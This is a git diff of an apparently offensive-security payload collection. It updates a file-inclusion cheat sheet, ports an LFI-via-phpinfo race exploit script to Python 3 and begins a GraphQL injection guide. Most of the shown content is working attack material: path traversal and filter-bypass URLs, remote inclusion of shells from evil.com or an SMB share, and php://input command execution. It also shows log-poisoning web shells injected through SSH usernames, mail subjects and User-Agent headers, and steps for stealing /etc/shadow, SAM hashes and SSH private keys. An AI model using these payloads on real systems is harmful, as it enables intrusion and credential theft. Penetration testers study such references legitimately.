* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
||||||
|
* [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
|
||||||
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
|
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
|
||||||
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
|
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
|
||||||
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
|
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
|
||||||
|
* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files)
|
||||||
|
|
||||||
Linux - Interesting files to check out :
|
## Tools
|
||||||
|
|
||||||
```powershell
|
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
|
||||||
/etc/issue
|
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
|
||||||
/etc/passwd
|
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||||
/etc/shadow
|
* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic)
|
||||||
/etc/group
|
|
||||||
/etc/hosts
|
|
||||||
/etc/motd
|
|
||||||
/etc/mysql/my.cnf
|
|
||||||
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
|
|
||||||
/proc/self/environ
|
|
||||||
/proc/version
|
|
||||||
/proc/cmdline
|
|
||||||
/proc/sched_debug
|
|
||||||
/proc/mounts
|
|
||||||
/proc/net/arp
|
|
||||||
/proc/net/route
|
|
||||||
/proc/net/tcp
|
|
||||||
/proc/net/udp
|
|
||||||
```
|
|
||||||
|
|
||||||
Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
c:/boot.ini
|
|
||||||
c:/inetpub/logs/logfiles
|
|
||||||
c:/inetpub/wwwroot/global.asa
|
|
||||||
c:/inetpub/wwwroot/index.asp
|
|
||||||
c:/inetpub/wwwroot/web.config
|
|
||||||
c:/sysprep.inf
|
|
||||||
c:/sysprep.xml
|
|
||||||
c:/sysprep/sysprep.inf
|
|
||||||
c:/sysprep/sysprep.xml
|
|
||||||
c:/system32/inetsrv/metabase.xml
|
|
||||||
c:/sysprep.inf
|
|
||||||
c:/sysprep.xml
|
|
||||||
c:/sysprep/sysprep.inf
|
|
||||||
c:/sysprep/sysprep.xml
|
|
||||||
c:/system volume information/wpsettings.dat
|
|
||||||
c:/system32/inetsrv/metabase.xml
|
|
||||||
c:/unattend.txt
|
|
||||||
c:/unattend.xml
|
|
||||||
c:/unattended.txt
|
|
||||||
c:/unattended.xml
|
|
||||||
```
|
|
||||||
|
|
||||||
The following log files are controllable and can be included with an evil payload to achieve a command execution
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
/var/log/apache/access.log
|
|
||||||
/var/log/apache/error.log
|
|
||||||
/var/log/httpd/error_log
|
|
||||||
/usr/local/apache/log/error_log
|
|
||||||
/usr/local/apache2/log/error_log
|
|
||||||
/var/log/vsftpd.log
|
|
||||||
/var/log/sshd.log
|
|
||||||
/var/log/mail
|
|
||||||
```
|
|
||||||
|
|
||||||
## Basic LFI
|
## Basic LFI
|
||||||
|
|
||||||
|
In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=../../../etc/passwd
|
http://example.com/index.php?page=../../../etc/passwd
|
||||||
```
|
```
|
||||||
|
|
||||||
Null byte
|
### Null byte
|
||||||
|
|
||||||
|
:warning: In versions of PHP below 5.3.4 we can terminate with null byte.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=../../../etc/passwd%00
|
http://example.com/index.php?page=../../../etc/passwd%00
|
||||||
```
|
```
|
||||||
|
|
||||||
Double encoding
|
### Double encoding
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||||
```
|
```
|
||||||
|
|
||||||
Path truncation
|
### UTF-8 encoding
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
|
||||||
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
|
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
|
||||||
```
|
```
|
||||||
|
|
||||||
Filter bypass tricks
|
### Path and dot truncation
|
||||||
|
|
||||||
|
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
|
||||||
|
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
|
||||||
|
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
|
||||||
|
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
|
||||||
|
```
|
||||||
|
|
||||||
|
### Filter bypass tricks
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=....//....//etc/passwd
|
http://example.com/index.php?page=....//....//etc/passwd
|
||||||
@@ -117,22 +89,33 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
|||||||
|
|
||||||
## Basic RFI
|
## Basic RFI
|
||||||
|
|
||||||
|
Most of the filter bypasses from LFI section can be reused for RFI.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=http://evil.com/shell.txt
|
http://example.com/index.php?page=http://evil.com/shell.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
Null byte
|
### Null byte
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=http://evil.com/shell.txt%00
|
http://example.com/index.php?page=http://evil.com/shell.txt%00
|
||||||
```
|
```
|
||||||
|
|
||||||
Double encoding
|
### Double encoding
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
|
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### Bypass allow_url_include
|
||||||
|
|
||||||
|
When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
|
||||||
|
|
||||||
|
1. Create a share open to everyone
|
||||||
|
2. Write a PHP code inside a file : `shell.php`
|
||||||
|
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
|
||||||
|
|
||||||
|
|
||||||
## LFI / RFI using wrappers
|
## LFI / RFI using wrappers
|
||||||
|
|
||||||
### Wrapper php://filter
|
### Wrapper php://filter
|
||||||
@@ -141,6 +124,7 @@ The part "php://filter" is case insensitive
|
|||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
||||||
|
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
|
||||||
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
||||||
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
||||||
```
|
```
|
||||||
@@ -151,7 +135,14 @@ can be chained with a compression wrapper for large files.
|
|||||||
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
||||||
```
|
```
|
||||||
|
|
||||||
NOTE: Wrappers can be chained : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s`
|
NOTE: Wrappers can be chained multiple times using `|` or `/`:
|
||||||
|
- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
|
||||||
|
- deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
|
||||||
|
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
|
||||||
|
```
|
||||||
|
|
||||||
### Wrapper zip://
|
### Wrapper zip://
|
||||||
|
|
||||||
@@ -182,11 +173,16 @@ http://example.com/index.php?page=expect://ls
|
|||||||
|
|
||||||
### Wrapper input://
|
### Wrapper input://
|
||||||
|
|
||||||
Specify your payload in the POST parameters
|
Specify your payload in the POST parameters, this can be done with a simple `curl` command.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=php://input
|
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
|
||||||
POST DATA: <? system('id'); ?>
|
```
|
||||||
|
|
||||||
|
Alternatively, Kadimus has a module to automate this attack.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
|
||||||
```
|
```
|
||||||
|
|
||||||
### Wrapper phar://
|
### Wrapper phar://
|
||||||
@@ -277,12 +273,26 @@ for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
|||||||
print('[x] Something went wrong, please try again')
|
print('[x] Something went wrong, please try again')
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## LFI to RCE via upload (FindFirstFile)
|
||||||
|
|
||||||
|
:warning: Only works on Windows
|
||||||
|
|
||||||
|
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows.
|
||||||
|
|
||||||
|
* Upload a file, it should be stored in the temp folder `C:\Windows\Temp\`.
|
||||||
|
* Include it using `http://site/vuln.php?inc=c:\windows\temp\php<<`
|
||||||
|
|
||||||
|
|
||||||
## LFI to RCE via phpinfo()
|
## LFI to RCE via phpinfo()
|
||||||
|
|
||||||
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
|
||||||
|
|
||||||
|
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
|
||||||
|
|
||||||
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||||
|
|
||||||
|
Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||||
|
|
||||||
## LFI to RCE via controlled log file
|
## LFI to RCE via controlled log file
|
||||||
|
|
||||||
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
|
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
|
||||||
@@ -290,6 +300,10 @@ Just append your PHP code into the log file by doing a request to the service (A
|
|||||||
```powershell
|
```powershell
|
||||||
http://example.com/index.php?page=/var/log/apache/access.log
|
http://example.com/index.php?page=/var/log/apache/access.log
|
||||||
http://example.com/index.php?page=/var/log/apache/error.log
|
http://example.com/index.php?page=/var/log/apache/error.log
|
||||||
|
http://example.com/index.php?page=/var/log/apache2/access.log
|
||||||
|
http://example.com/index.php?page=/var/log/apache2/error.log
|
||||||
|
http://example.com/index.php?page=/var/log/nginx/access.log
|
||||||
|
http://example.com/index.php?page=/var/log/nginx/error.log
|
||||||
http://example.com/index.php?page=/var/log/vsftpd.log
|
http://example.com/index.php?page=/var/log/vsftpd.log
|
||||||
http://example.com/index.php?page=/var/log/sshd.log
|
http://example.com/index.php?page=/var/log/sshd.log
|
||||||
http://example.com/index.php?page=/var/log/mail
|
http://example.com/index.php?page=/var/log/mail
|
||||||
@@ -298,6 +312,65 @@ http://example.com/index.php?page=/usr/local/apache/log/error_log
|
|||||||
http://example.com/index.php?page=/usr/local/apache2/log/error_log
|
http://example.com/index.php?page=/usr/local/apache2/log/error_log
|
||||||
```
|
```
|
||||||
|
|
||||||
|
### RCE via SSH
|
||||||
|
|
||||||
|
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
|
||||||
|
```
|
||||||
|
|
||||||
|
Then include the SSH log files inside the Web Application.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=/var/log/auth.log&cmd=id
|
||||||
|
```
|
||||||
|
|
||||||
|
### RCE via Mail
|
||||||
|
|
||||||
|
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
root@kali:~# telnet 10.10.10.10. 25
|
||||||
|
Trying 10.10.10.10....
|
||||||
|
Connected to 10.10.10.10..
|
||||||
|
Escape character is '^]'.
|
||||||
|
220 straylight ESMTP Postfix (Debian/GNU)
|
||||||
|
helo ok
|
||||||
|
250 straylight
|
||||||
|
mail from: mail@example.com
|
||||||
|
250 2.1.0 Ok
|
||||||
|
rcpt to: root
|
||||||
|
250 2.1.5 Ok
|
||||||
|
data
|
||||||
|
354 End data with <CR><LF>.<CR><LF>
|
||||||
|
subject: <?php echo system($_GET["cmd"]); ?>
|
||||||
|
data2
|
||||||
|
.
|
||||||
|
```
|
||||||
|
|
||||||
|
In some cases you can also send the email with the `mail` command line.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
|
||||||
|
```
|
||||||
|
|
||||||
|
### RCE via Apache logs
|
||||||
|
|
||||||
|
Poison the User-Agent in access logs:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
||||||
|
```
|
||||||
|
|
||||||
|
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
|
||||||
|
|
||||||
|
Then request the logs via the LFI and execute your command.
|
||||||
|
|
||||||
|
```
|
||||||
|
$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
||||||
|
```
|
||||||
|
|
||||||
## LFI to RCE via PHP sessions
|
## LFI to RCE via PHP sessions
|
||||||
|
|
||||||
Check if the website use PHP Session (PHPSESSID)
|
Check if the website use PHP Session (PHPSESSID)
|
||||||
@@ -307,7 +380,7 @@ Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
|||||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||||
```
|
```
|
||||||
|
|
||||||
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
|
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||||
@@ -326,7 +399,35 @@ Use the LFI to include the PHP session file
|
|||||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
||||||
```
|
```
|
||||||
|
|
||||||
## Thanks to
|
## LFI to RCE via credentials files
|
||||||
|
|
||||||
|
This method require high privileges inside the application in order to read the sensitive files.
|
||||||
|
|
||||||
|
### Windows version
|
||||||
|
|
||||||
|
First extract `sam` and `system` files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
|
||||||
|
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
|
||||||
|
```
|
||||||
|
|
||||||
|
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
|
||||||
|
|
||||||
|
### Linux version
|
||||||
|
|
||||||
|
First extract `/etc/shadow` files.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
http://example.com/index.php?page=../../../../../../etc/shadow
|
||||||
|
```
|
||||||
|
|
||||||
|
Then crack the hashes inside in order to login via SSH on the machine.
|
||||||
|
|
||||||
|
Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa.
|
||||||
|
If SSH is active check which user is being used `/proc/self/status` and `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa`.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
||||||
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
|
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
|
||||||
@@ -340,4 +441,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
|||||||
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
|
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
|
||||||
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
||||||
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
||||||
* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
|
* [CVV #1: Local File Inclusion - @SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
||||||
|
* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1)
|
||||||
|
* [PHP LFI with Nginx Assistance](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||||
|
* [PHP LFI to arbitratry code execution via rfc1867 file upload temporary files (EN) - gynvael.coldwind - 2011-03-18](https://gynvael.coldwind.pl/?id=376)
|
||||||
42
File Inclusion - Path Traversal/phpinfolfi.py → File Inclusion/phpinfolfi.py
Executable file → Normal file
42
File Inclusion - Path Traversal/phpinfolfi.py → File Inclusion/phpinfolfi.py
Executable file → Normal file
@@ -1,5 +1,9 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||||
|
# The following line is not required but supposedly optimizes code.
|
||||||
|
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert.
|
||||||
|
# from builtins import range
|
||||||
|
from __future__ import print_function
|
||||||
import sys
|
import sys
|
||||||
import threading
|
import threading
|
||||||
import socket
|
import socket
|
||||||
@@ -83,7 +87,7 @@ class ThreadWorker(threading.Thread):
|
|||||||
if self.event.is_set():
|
if self.event.is_set():
|
||||||
break
|
break
|
||||||
if x:
|
if x:
|
||||||
print "\nGot it! Shell created in /tmp/g"
|
print("\nGot it! Shell created in /tmp/g")
|
||||||
self.event.set()
|
self.event.set()
|
||||||
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
@@ -110,23 +114,23 @@ def getOffset(host, port, phpinforeq):
|
|||||||
if i == -1:
|
if i == -1:
|
||||||
raise ValueError("No php tmp_name in phpinfo output")
|
raise ValueError("No php tmp_name in phpinfo output")
|
||||||
|
|
||||||
print "found %s at %i" % (d[i:i+10],i)
|
print("found %s at %i" % (d[i:i+10],i))
|
||||||
# padded up a bit
|
# padded up a bit
|
||||||
return i+256
|
return i+256
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
|
||||||
print "LFI With PHPInfo()"
|
print("LFI With PHPInfo()")
|
||||||
print "-=" * 30
|
print("-=" * 30)
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
if len(sys.argv) < 2:
|
||||||
print "Usage: %s host [port] [threads]" % sys.argv[0]
|
print("Usage: %s host [port] [threads]" % sys.argv[0])
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
host = socket.gethostbyname(sys.argv[1])
|
host = socket.gethostbyname(sys.argv[1])
|
||||||
except socket.error, e:
|
except socket.error as e:
|
||||||
print "Error with hostname %s: %s" % (sys.argv[1], e)
|
print("Error with hostname %s: %s" % (sys.argv[1], e))
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
port=80
|
port=80
|
||||||
@@ -134,8 +138,8 @@ def main():
|
|||||||
port = int(sys.argv[2])
|
port = int(sys.argv[2])
|
||||||
except IndexError:
|
except IndexError:
|
||||||
pass
|
pass
|
||||||
except ValueError, e:
|
except ValueError as e:
|
||||||
print "Error with port %d: %s" % (sys.argv[2], e)
|
print("Error with port %d: %s" % (sys.argv[2], e))
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
poolsz=10
|
poolsz=10
|
||||||
@@ -143,11 +147,11 @@ def main():
|
|||||||
poolsz = int(sys.argv[3])
|
poolsz = int(sys.argv[3])
|
||||||
except IndexError:
|
except IndexError:
|
||||||
pass
|
pass
|
||||||
except ValueError, e:
|
except ValueError as e:
|
||||||
print "Error with poolsz %d: %s" % (sys.argv[3], e)
|
print("Error with poolsz %d: %s" % (sys.argv[3], e))
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
print "Getting initial offset...",
|
print("Getting initial offset...", end=' ')
|
||||||
reqphp, tag, reqlfi = setup(host, port)
|
reqphp, tag, reqlfi = setup(host, port)
|
||||||
offset = getOffset(host, port, reqphp)
|
offset = getOffset(host, port, reqphp)
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
@@ -156,7 +160,7 @@ def main():
|
|||||||
e = threading.Event()
|
e = threading.Event()
|
||||||
l = threading.Lock()
|
l = threading.Lock()
|
||||||
|
|
||||||
print "Spawning worker pool (%d)..." % poolsz
|
print("Spawning worker pool (%d)..." % poolsz)
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
tp = []
|
tp = []
|
||||||
@@ -174,19 +178,19 @@ def main():
|
|||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
if counter >= maxattempts:
|
if counter >= maxattempts:
|
||||||
break
|
break
|
||||||
print
|
print()
|
||||||
if e.is_set():
|
if e.is_set():
|
||||||
print "Woot! \m/"
|
print("Woot! \m/")
|
||||||
else:
|
else:
|
||||||
print ":("
|
print(":(")
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print "\nTelling threads to shutdown..."
|
print("\nTelling threads to shutdown...")
|
||||||
e.set()
|
e.set()
|
||||||
|
|
||||||
print "Shuttin' down..."
|
print("Shuttin' down...")
|
||||||
for t in tp:
|
for t in tp:
|
||||||
t.join()
|
t.join()
|
||||||
|
|
||||||
if __name__=="__main__":
|
if __name__=="__main__":
|
||||||
print "Don't forget to modify the LFI URL"
|
print("Don't forget to modify the LFI URL")
|
||||||
main()
|
main()
|
||||||
@@ -1,3 +1,5 @@
|
|||||||
|
from __future__ import print_function
|
||||||
|
from builtins import range
|
||||||
import itertools
|
import itertools
|
||||||
import requests
|
import requests
|
||||||
import string
|
import string
|
||||||
BIN
GraphQL Injection/Images/htb-help.png
Normal file
BIN
GraphQL Injection/Images/htb-help.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 21 KiB |
326
GraphQL Injection/README.md
Normal file
326
GraphQL Injection/README.md
Normal file
@@ -0,0 +1,326 @@
|
|||||||
|
# GraphQL injection
|
||||||
|
|
||||||
|
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
|
||||||
|
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Exploit](#exploit)
|
||||||
|
* [Identify an injection point](#identify-an-injection-point)
|
||||||
|
* [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection)
|
||||||
|
* [Extract data](#extract-data)
|
||||||
|
* [Extract data using edges/nodes](#extract-data-using-edges-nodes)
|
||||||
|
* [Extract data using projections](#extract-data-using-projections)
|
||||||
|
* [Enumerate the types' definition](#enumerate-the-type-definition)
|
||||||
|
* [Use mutations](#use-mutations)
|
||||||
|
* [NOSQL injection](#nosql-injection)
|
||||||
|
* [SQL injection](#sql-injection)
|
||||||
|
* [GraphQL Batching Attacks](#graphql-batching-attacks)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap)
|
||||||
|
* [GraphQL-voyager - Represent any GraphQL API as an interactive graph](https://apis.guru/graphql-voyager/)
|
||||||
|
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/)
|
||||||
|
* [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum)
|
||||||
|
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide)
|
||||||
|
* [ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection](https://github.com/mchoji/clairvoyancex)
|
||||||
|
* [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql)
|
||||||
|
* [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/)
|
||||||
|
* [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/)
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
|
||||||
|
### Identify an injection point
|
||||||
|
|
||||||
|
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint.
|
||||||
|
|
||||||
|
```js
|
||||||
|
example.com/graphql?query={__schema{types{name}}}
|
||||||
|
example.com/graphiql?query={__schema{types{name}}}
|
||||||
|
```
|
||||||
|
|
||||||
|
Check if errors are visible.
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
?query={__schema}
|
||||||
|
?query={}
|
||||||
|
?query={thisdefinitelydoesnotexist}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### Enumerate Database Schema via Introspection
|
||||||
|
|
||||||
|
URL encoded query to dump the database schema.
|
||||||
|
|
||||||
|
```js
|
||||||
|
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
|
||||||
|
```
|
||||||
|
|
||||||
|
URL decoded query to dump the database schema.
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
fragment FullType on __Type {
|
||||||
|
kind
|
||||||
